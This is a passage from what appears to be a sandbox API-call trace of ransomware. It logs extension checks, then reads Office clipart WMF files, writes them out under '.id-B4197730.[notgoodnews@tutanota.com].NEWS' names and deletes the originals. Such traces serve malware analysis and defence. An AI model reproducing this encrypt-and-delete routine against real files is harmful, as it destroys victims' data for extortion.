lstrlenW (lpString=".ppt") returned 4 [0077.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.654] lstrlenW (lpString=".zip") returned 4 [0077.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.655] lstrlenW (lpString=".rar") returned 4 [0077.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.655] lstrlenW (lpString=".bz2") returned 4 [0077.655] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.655] lstrlenW (lpString=".7z") returned 3 [0077.655] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.655] lstrlenW (lpString=".dbf") returned 4 [0077.655] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.655] lstrlenW (lpString=".1cd") returned 4 [0077.655] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF") returned 68 [0077.655] lstrlenW (lpString=".jpg") returned 4 [0077.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.655] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0077.655] lstrlenW (lpString="BD06200_.WMF") returned 12 [0077.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.655] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=16676) returned 1 [0077.655] CloseHandle (hObject=0x35c) returned 1 [0077.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0077.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0077.656] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.656] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0077.656] GetLastError () returned 0x0 [0077.656] ReadFile (in: hFile=0x35c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4124, lpOverlapped=0x0) returned 1 [0078.170] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4130, lpOverlapped=0x0) returned 1 [0078.171] ReadFile (in: hFile=0x35c, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.171] WriteFile (in: hFile=0x38c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.171] SetEndOfFile (hFile=0x38c) returned 1 [0078.379] CloseHandle (hObject=0x38c) returned 1 [0078.381] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.381] SetEndOfFile (hFile=0x35c) returned 1 [0078.382] CloseHandle (hObject=0x35c) returned 1 [0078.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0078.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.744] lstrlenW (lpString=".doc") returned 4 [0078.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.744] lstrlenW (lpString=".docx") returned 5 [0078.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.744] lstrlenW (lpString=".pdf") returned 4 [0078.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.744] lstrlenW (lpString=".xls") returned 4 [0078.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.744] lstrlenW (lpString=".xlsx") returned 5 [0078.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.744] lstrlenW (lpString=".ppt") returned 4 [0078.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.744] lstrlenW (lpString=".zip") returned 4 [0078.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.744] lstrlenW (lpString=".rar") returned 4 [0078.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.744] lstrlenW (lpString=".bz2") returned 4 [0078.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.744] lstrlenW (lpString=".7z") returned 3 [0078.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.744] lstrlenW (lpString=".dbf") returned 4 [0078.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.745] lstrlenW (lpString=".1cd") returned 4 [0078.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.745] lstrlenW (lpString=".jpg") returned 4 [0078.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.745] lstrlenW (lpString=".doc") returned 4 [0078.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.745] lstrlenW (lpString=".docx") returned 5 [0078.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.745] lstrlenW (lpString=".pdf") returned 4 [0078.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.745] lstrlenW (lpString=".xls") returned 4 [0078.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.745] lstrlenW (lpString=".xlsx") returned 5 [0078.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.745] lstrlenW (lpString=".ppt") returned 4 [0078.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.745] lstrlenW (lpString=".zip") returned 4 [0078.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.745] lstrlenW (lpString=".rar") returned 4 [0078.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.745] lstrlenW (lpString=".bz2") returned 4 [0078.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.745] lstrlenW (lpString=".7z") returned 3 [0078.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.745] lstrlenW (lpString=".dbf") returned 4 [0078.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.745] lstrlenW (lpString=".1cd") returned 4 [0078.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 68 [0078.746] lstrlenW (lpString=".jpg") returned 4 [0078.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.746] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.746] lstrlenW (lpString="BD19988_.WMF") returned 12 [0078.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.746] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=18304) returned 1 [0078.746] CloseHandle (hObject=0x308) returned 1 [0078.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0078.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.747] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.747] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0078.747] GetLastError () returned 0x0 [0078.747] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4780, lpOverlapped=0x0) returned 1 [0078.749] WriteFile (in: hFile=0x31c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4790, lpOverlapped=0x0) returned 1 [0078.750] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.750] WriteFile (in: hFile=0x31c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.750] SetEndOfFile (hFile=0x31c) returned 1 [0078.750] CloseHandle (hObject=0x31c) returned 1 [0078.755] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.755] SetEndOfFile (hFile=0x308) returned 1 [0078.756] CloseHandle (hObject=0x308) returned 1 [0078.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0078.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.757] lstrlenW (lpString=".doc") returned 4 [0078.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.757] lstrlenW (lpString=".docx") returned 5 [0078.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.757] lstrlenW (lpString=".pdf") returned 4 [0078.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.757] lstrlenW (lpString=".xls") returned 4 [0078.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.757] lstrlenW (lpString=".xlsx") returned 5 [0078.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.757] lstrlenW (lpString=".ppt") returned 4 [0078.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.757] lstrlenW (lpString=".zip") returned 4 [0078.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.757] lstrlenW (lpString=".rar") returned 4 [0078.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.757] lstrlenW (lpString=".bz2") returned 4 [0078.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.757] lstrlenW (lpString=".7z") returned 3 [0078.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.757] lstrlenW (lpString=".dbf") returned 4 [0078.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.758] lstrlenW (lpString=".1cd") returned 4 [0078.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.758] lstrlenW (lpString=".jpg") returned 4 [0078.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.758] lstrlenW (lpString=".doc") returned 4 [0078.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.758] lstrlenW (lpString=".docx") returned 5 [0078.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.758] lstrlenW (lpString=".pdf") returned 4 [0078.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.758] lstrlenW (lpString=".xls") returned 4 [0078.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.758] lstrlenW (lpString=".xlsx") returned 5 [0078.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.758] lstrlenW (lpString=".ppt") returned 4 [0078.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.758] lstrlenW (lpString=".zip") returned 4 [0078.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.758] lstrlenW (lpString=".rar") returned 4 [0078.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.758] lstrlenW (lpString=".bz2") returned 4 [0078.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.758] lstrlenW (lpString=".7z") returned 3 [0078.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.758] lstrlenW (lpString=".dbf") returned 4 [0078.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.758] lstrlenW (lpString=".1cd") returned 4 [0078.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0078.759] lstrlenW (lpString=".jpg") returned 4 [0078.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.759] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.759] lstrlenW (lpString="BD20013_.WMF") returned 12 [0078.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.760] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=11058) returned 1 [0078.760] CloseHandle (hObject=0x308) returned 1 [0078.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220 [0078.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.760] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.760] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0078.761] GetLastError () returned 0x0 [0078.761] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x2b32, lpOverlapped=0x0) returned 1 [0078.762] WriteFile (in: hFile=0x31c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x2b40, lpOverlapped=0x0) returned 1 [0078.763] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.763] WriteFile (in: hFile=0x31c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.763] SetEndOfFile (hFile=0x31c) returned 1 [0078.764] CloseHandle (hObject=0x31c) returned 1 [0078.765] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.765] SetEndOfFile (hFile=0x308) returned 1 [0078.766] CloseHandle (hObject=0x308) returned 1 [0078.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0078.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.766] lstrlenW (lpString=".doc") returned 4 [0078.766] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.766] lstrlenW (lpString=".docx") returned 5 [0078.766] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.766] lstrlenW (lpString=".pdf") returned 4 [0078.766] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.766] lstrlenW (lpString=".xls") returned 4 [0078.766] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.767] lstrlenW (lpString=".xlsx") returned 5 [0078.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.767] lstrlenW (lpString=".ppt") returned 4 [0078.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.767] lstrlenW (lpString=".zip") returned 4 [0078.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.767] lstrlenW (lpString=".rar") returned 4 [0078.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.767] lstrlenW (lpString=".bz2") returned 4 [0078.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.767] lstrlenW (lpString=".7z") returned 3 [0078.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.767] lstrlenW (lpString=".dbf") returned 4 [0078.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.767] lstrlenW (lpString=".1cd") returned 4 [0078.767] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.767] lstrlenW (lpString=".jpg") returned 4 [0078.767] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.767] lstrlenW (lpString=".doc") returned 4 [0078.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.767] lstrlenW (lpString=".docx") returned 5 [0078.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.767] lstrlenW (lpString=".pdf") returned 4 [0078.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.767] lstrlenW (lpString=".xls") returned 4 [0078.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.767] lstrlenW (lpString=".xlsx") returned 5 [0078.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.768] lstrlenW (lpString=".ppt") returned 4 [0078.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68 [0078.768] lstrlenW (lpString=".zip") returned 4 [0078.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.768] lstrlenW (lpString=".rar") returned 